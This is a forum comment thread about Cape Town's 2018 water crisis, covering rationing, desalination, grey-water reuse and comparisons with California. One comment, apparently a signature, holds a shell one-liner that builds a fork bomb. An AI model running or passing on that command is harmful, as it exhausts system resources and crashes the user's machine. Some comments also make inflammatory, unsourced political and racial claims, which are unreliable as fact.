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Will Cape Town be the First City To Run Out of Water? (bbc.com)
Cape Town, home to Table Mountain, African penguins, sunshine and sea, is a world-renowned tourist destination. But soon it could also become famous for being the first major city in the world to run out of water. From a report: Most recent projections suggest that its water could run out as early as March. The crisis has been caused by three years of very low rainfall, coupled with increasing consumption by a growing population. The local government is racing to address the situation, with desalination plants to make sea water drinkable, groundwater collection projects, and water recycling programmes. Meanwhile Cape Town's four million residents are being urged to conserve water and use no more than 87 litres (19 gallons) a day. Car washing and filling up swimming pools has been banned.
The obvious solution is to just drink beer.
Most of the Caribbean islands have much smaller populations, around 100,000 or less and the islands with millions of people tend to have several lakes and rivers. It's a lot easier to deal with smaller populations, especially when that infrastructure has already been built and adjusted to meet the needs of population over time. Setting up new desalination plants to support millions of people is a logistical nightmare even if you have a highly competent team tackling the problem.
But that number might only push back the deadline, not stop them from running out.
South Africa is divided into provinces. Cape Town is in the Western Cape province and was the first major city run by the national opposition party, the Democratic Alliance. The province itself followed, and is also governed by the DA, for some years now.
The national government and all other major cities, towns and provinces have been run by the national ruling party, the African National Congress (ANC), since freedom.
So you may assume that the DA has screwed up, letting the city and province run out of water, while the ANC has got things sorted elsewhere? Well, you would be wrong.
The neighboring Eastern Cape province is an overwhelming majority ANC stronghold. But by every measure it is a dismal failure - jobs, healthcare, life expectancy, education, housing, infrastructure, etc.
So people in the Eastern Cape vote for the ANC, but their feet vote to take them to the Western Cape, and in particular, Cape Town. There their kids will be educated, there is economic growth, jobs, housing and things generally work - not a paradise, but much better from their perspective.
This inrush of millions of peasants has overwhelmed the Cape Town infrastructure and ability to provide for them. The city and the province and trying hard, but even the DA is not perfect.
One final observation: Water supply is constitutionally a national responsibility, not local or provincial. Hence parliament and the national executive must account. And national government is firmly in the hands of the ANC.
Prove anything by multiplying Huge Number times Tiny Number
It's a lot easier to deal with smaller populations, especially when that infrastructure has already been built and adjusted to meet the needs of population over time. Setting up new desalination plants to support millions of people is a logistical nightmare even if you have a highly competent team tackling the problem.
While what you say is true; this only makes Cape Town look like architects of their own peril. They could have started building desalination plants, or working on viable alternatives long ago before it was crunch time.
Of course, the same could be said about California and parts of Nevada. They're not doing enough, quick-enough and what happens in Cape Town could be a model for what is inevitably going to hit California eventually if they don't start working on better solutions.
"That's the way to do it" - Punch
Dubai. Israel. Desalination is a solved problem.
Not really, no.
South Africa is going through rough times - serious economic and social stresses, the sort of racial tensions the progressives imagine exist in America.
If you want to talk about America, instead of uselessly lambasting progressives over a strawman, why not bring up examples like Flint, Michigan, CopperHill, Tennesse, or Jackson, Missippi? Or Georgia's perennial struggles to claim its alleged water rights from bordering states?
It's a solved problem, but desalination is also somewhat expensive - tough for SA in its current economic climate.
So in other words, it's not actually a solve problem, because in the real world, you can't just hand-wave a solution, but have to pursue a long-term effort. And in fact, contrary to your statements, both countries you named have problems.
All my South African friends are now expats and gave swapped their SA citizenship for somewhere else. None of them really want to admit that SA is going the way Zimbabwe went post independence but it looks that way.
E.g. here's President Jacob Zuma singing 'Kill the Boer[white people]'. Bonus - the sign language interpreter obviously doesn't know sign language and is just bluffing
http://limpingchicken.com/2013...
The 'fake' sign language interpreter, at the centre of the world's attention following his bizarre performance at Nelson Mandela's memorial event, has been found interpreting in another video.
This time he's interpreting for Jacob Zuma, the South African President, as he sings a song called 'Kill the Boer'. Despite his now infamous short-comings as an interpreter, there is no mistaking his sign for machine gun!
Mr Zuma has since said that he'll stop singing the song to avoid creating racial tension.
'Kill the Boer' is actually illegal under SA hate speech laws, though the ruling ANC will appeal. And regardless of how that appeal goes, they'll keep singing it
https://www.dailymaverick.co.z...
Finally, on Friday March 26th 2010, the question of the legality of the phrase was brought before a South African court. According to Acting Judge Leon Halgryn of the South Gauteng High Court, it is now unconstitutional to utter or sing the phrase "dubul'ibhunu" ("shoot the boer") in the country. Halrgyn ruled that the phrase amounts to hate speech, and is therefore not protected by section 16 of the constitution, which safeguards freedom of speech.
https://www.dailymaverick.co.z...
So you've got President inciting genocide against white people and the people around him are too dumb or corrupt to hire someone who can do sign language.
Yup, if I was a South African I'd be looking for a passport someplace else too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I was thinking the same thing, but then I started looking a little harder at this. I was a bit shocked to see that someone that takes a shower every day has already used around 17 gallons of water. Flush your toilet once and you've just used the last two gallons of your ration for the day!
Then there's all sorts of other household overhead like washing dishes and clothes, cooking, and more. And you still haven't drank even your first glass of water for the day. (half a gallon is recommended every day, but that can include beverages)
We use (waste?) a lot of water every day. I'd like to see reuse of "grey water" become commonplace or even required. Most water could be reused in the toilet for example. Most "washers" (be they people, clothes, dishes, etc) are used to flush away contaminants, but then we don't bother to filter and reuse the water, we just dump it just like it is right down the drain, which is a huge waste.
I work for the Department of Redundancy Department.
overpopulation. why isn't it ever talked about as the ROOT reason? i feel like the market should take externalities like that more into account. perhaps it will soon with resource scarcity.
frankly I am glad Trump (whom I despise) dumped on Africa. the population is exploding while their gov'ts are corrupt and it will result in misery for many, with numbers increasing rapidly. Too much human misery and environmental degradation that will cost us all. The USA is so stupid about birth control not only should we be paying for it in Africa we should be paying for it here before California becomes the next South Africa. Of course we won't. oh well. world's going to hell. :/
You each use only 16 gallons per month? Less than half a gallon a day? Is Saturday bath day in your house? Is the last person to bathe the one who drains the tub? I must be misunderstanding what you're saying.
No, he said:
My water bill for a family of 4 is at the 2K gallon rate which is about 16 gallons each for a month
2000 gallons /month/family
* 1/4 family/person = 500 gallons / person / month
* 1/30 month/day = 16.66 gallons / person / day
* 3.785 gallons / litre
= 63 litre/person/day
That's not too bad.
We live in Cape Town, our household (comprising 2 adults, 3 kids aged 3-8) uses 5kl/month, or 33.3 litres / person / day, well below the 87l limit (but there isn't much more we can do to save water in our house). This includes:
- All personal hygeine (toilet, shower etc.) except obviously anything at work/school (we don't shower at a gym or anything like that)
- All washing (dishes, laundry etc.) and cleaning in the house
- All drinking water and food preparation
- We use grey water (e.g. collect bath and shower water) for our small vegetable garden, but haven't used any water for the rest of the garden since they started water restrictions.
- The kids share one small plastic bath tub inside the normal bath tub, adults show with a 20l container in the shower, and don't use more than that, and don't shower every day (2-3 times a week).
- We haven't washed our cars in a year.
Lots of people have installed rain collection tanks and complete grey-water systems, and some have had boreholes/wells drilled (but there are long waiting lists with all contractors who install all of these).
I don't know why they haven't reduced the limit further, as it really isn't difficult to use less. 50l/person/day is probably achievable and still relatively fair.
The city has also imposed a 10.5kl limit per household per month, and any household that needs more because they have more than 4 occupants must apply for a higher allocation, but since we are way below we don't apply.
We know of other people who used didn't abide by the restrictions when they were more lenient, they have been forced to pay to have water restriction devices installed, which limit their daily water use (unused daily water accumulates for the rest of the month, but unused monthly water doesn't accumulate/roll over).
There are a lot more issues at play here than described in the BBC article, as the majority (60%0 of the water available in the dams in the Western Cape was allocated by the national government to agriculture. That is understandable, as even that allocation is too little for them (with the amount of rain over the past year), with many farmers having to choose between killing their livestock and taking loans to buy feed (and still possibly have to kill the livestock later anyway).
For some detail on how bad the drought is, see some rainfall stats for Cape Town. The past 3 years we have had less than the 20th percentile of annual rainfall over the last 40 years.
You can also see the trend of water storage in the dams here
We really hope some of the short-term mitigation plans (small-scale desalination plants that can be completed before we run out of water, ground-water extraction etc.) are sufficient to get us to Winter (and rain), but we if the trend of the last 3 years continues, we may not make it to Dec.
When it comes to California, I support them in times of drought financially by buying as much almond products from California as I can.
Don't fight for your country, if your country does not fight for you.
How very Marie Antoinette of you - "Let them eat cake!"
Raising the price of water doesn't reduce the need for water to live.
Ken
Actually, California has fared reasonably well, and has a sustainable approach to water management in general. There are some things that still need to change, and much that needs to be hardened and reformed, but they are on their way to it. California's biggest water risk is really an earthquake damaging the aqueducts, pipelines, and reservoirs.
Desalinization is a last-resort for a seaside city. It is much more efficient to trade resources with a water-rich area to serve a water-poor area than it is to run desalinization. Ultimately, to make desal not kill the local environment you need zero brine discharge which requires huge evaporation ponds. If done right, this could help to add humidity and manage the problem longer term, but you end up with about 100 tons of waste salts per million gallons of sea water.
Desalination is a problem for large-scale use; it's highly energy intensive, and you're left with hypersaline brine, which is environmentally destructive.
Every thing has problems in large-scale use. Proper planning and engineering can manage and solve problems though.
Highly-energy intensive, compared to what? Current technology can turn seawater into fresh water with 2.5 kwh per cubic meter. A typical desktop PC can consume 125 watts average power consumption, so less than a day of the PC sitting there turned on can provide a cubic meter (264 gallons).
The brine output does need to be managed properly, and it is possible to do it badly - but it is also possible to have to problem at all, if the output is suitable diluted before discharge.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
They're not doing enough, quick-enough and what happens in Cape Town could be a model for what is inevitably going to hit California eventually if they don't start working on better solutions.
Some areas of California (Santa Barbara), which depend on local water supplies (like Cape Town) have faced this problem before (SB built a desalinization plant in the 1970s). Localities that depended on local ground water supplies have been hit by the drought, and required alternate supplies. But California is a big state. Scattered local problems do not add up to a general problem for California
In general California was plenty of water for its cities and towns, which only use 20% of the available water but produce 98% of its GDP. Agriculture, that use 80% of the water supplies only 2% of the GDP. So simply paying off farmers not to grow something can supply all of the urban water California will ever need.
The number one agricultural user of water (22% of all agricultural water usage) is a crop - alfalfa - that provides so little value that it often costs more to deliver the water than the alfalfa crop is worth (and 2/3 of that crop is simply exported to Asia), ancient water rights from the 19th century are the reason for this subsidy. Paying off all the alfalfa growers not to grow anything would only cost 0.1% of the state's GDP and double the amount of water available to the cities.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
The shower is probably the best example of potential for reclamation. Most people would be very lucky to get 1/8c of actual suspended materials from that 17 gallons of shower water. (most of which is dead skin and hair) Compare that to the "super concentrated contaminants" of your morning #2, in just two gallons of water. Clearly the shower is going waaay too far in diluting things.
I'd agree though they could certainly take the filtering too far and not push enough water down the blackwater system, causing it to not flow efficiently. A single day's dishwasher, shower, and clothes washer could be over-concentrated into a pint or two of thick sludge that won't travel well.
And it's no different than those "low volume" flush toilets that you sometimes have to ring the handle a second (or third!) time to get them to empty the bowl properly. Even if you took that 17 gallon shower and only lightly concentrated it into one gallon of blackwater to (easily) go down the sewer, that's 16 gallons left to flush the toilet with. That right there will probably handle the average person's toilet use for the entire day, without placing any additional strain on the sewer system.
It's not only doable, it's actually not that difficult to do right.
I work for the Department of Redundancy Department.
California sends half its fresh water directly out to the ocean without use other than scenic rivers and other environmental desires (like delta smelt). Agriculture is second place, at 40%, and urban is about 10%. Reduce the scenic rivers demand, and we'd have plenty of fresh water.
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
I thought that was the sound effect that came with the discussion of toilets?
I work for the Department of Redundancy Department.
Or 10 gallons if it's a Navy Shower.
10 gallons??? Listen sonny boy, back in my day we'd get NJP for wasting that much water.
Here is a "real" navy shower:
1. Turn water on and get wet
2. Turn off the water, and then soap up face, hands, and groin.
3. Turn water on and rinse.
4. Turn off the water and dry off.
5. Wait a week for your next shower rotation.
Even when the water was on, it wasn't much more than a trickle.
We'd use 3 gallons, tops. And this was on a gator. Submariners have it much worse. They can do it with one gallon, and would consider 3 gallons to be a "Hollywood shower".
Semper Fi.
If the Earth is flat, then why do I live near a hill?
Trading arsenic for cyanide isn't really an improvement, you know.
An enigma, wrapped in a riddle, shrouded in bacon and cheese
California sends half its fresh water directly out to the ocean without use other than scenic rivers and other environmental desires (like delta smelt) . Agriculture is second place, at 40%, and urban is about 10%. Reduce the scenic rivers demand, and we'd have plenty of fresh water.
Except that pretty much completely wrong. The outflow from the rivers keeps saltwater from intruding into ground water and pumping stations:
We live in Cape Town
We really hope some of the short-term mitigation plans (small-scale desalination plants that can be completed before we run out of water, ground-water extraction etc.) are sufficient to get us to Winter (and rain), but we if the trend of the last 3 years continues, we may not make it to Dec.
Isn't December summer in Cape Town?
Yes, it is.
I should have been more clear. If you manage to see the graphs on dam levels in the links I posted before it broke (is slashdotting still a thing?), you would have seen that the dams in the Western Cape had the following min/max levels and the total precipitation for the year in Cape Town:
2014 - 72%-100% 511mm
2015 - 48-65% 235mm
2016 - 30%-62% 221mm
2017 - 20%-38% < 200mm (153mm up to Dec 18, we did get a bit of rain towards the end of Dec., but not very much).
The dam levels are now at about 30%, with 4 months left until we can reasonably hope for rain, we would have just about run out of water. Assuming we get about the same amount of rain, we would have a peak of about 20% in July/August, and have 4 months of water left -> Dec 2018 we will again be short of water.
The target daily water usage is 500m l/day (to avoid running out of water before May), but we aren't managing to reach that, I think the city is using about 580m l/day at present.
The first desalination plant that was planned to be producing drinking water by April will provide about 200m l/day, so if it is finished according to plan, that could help us run out of water in April until it hopefully rains, and then extend the next possible "day-0" by another ~ 100 days.
Of course, this assumes everyone keeps using water as sparingly as they do now.
About 1980, I sailed a small boat across the Atlantic. Water was a major concern as we had to allow for double the trip time of 22days in case we had severe problems (we didnâ(TM)t, fortunately ). We had limited tankage, and desalination had not been invented.
We washed in salt water, washed dishes in saltwater, the toilet use saltwater. Our consumption was about 2.2 litres per day each. Not 22, 2.2.
This was basically for drinking and cooking. It was ok. We did have a limited supply of drinks (one per day), and there was liquid in the cans of food we used.
Somewhat extreme, perhaps; these days Iâ(TM)d get a desalinator and wash in freshwater, for sure. But it does show how far you can go.
In Gibraltar, salt water was piped to taps, I imagine they no longer do this, again, needs must!
"Cats like plain crisps"
With nearly 300 comments already, I'm not sure there's a point in posting, but...
Los Angeles ran out of water decades ago. Or they would have if they hadn't built aqueducts to bring water from Mono Lake and the Colorado River.
Santa Barbara nearly ran out of water. They started to build a desalinization plant. Then one rain storm refilled their primary source of water. They cancelled the plant and sold the equipment to one of the dunes countries IIRC.
The real question should be why did Cape Town wait so long to start dealing with it?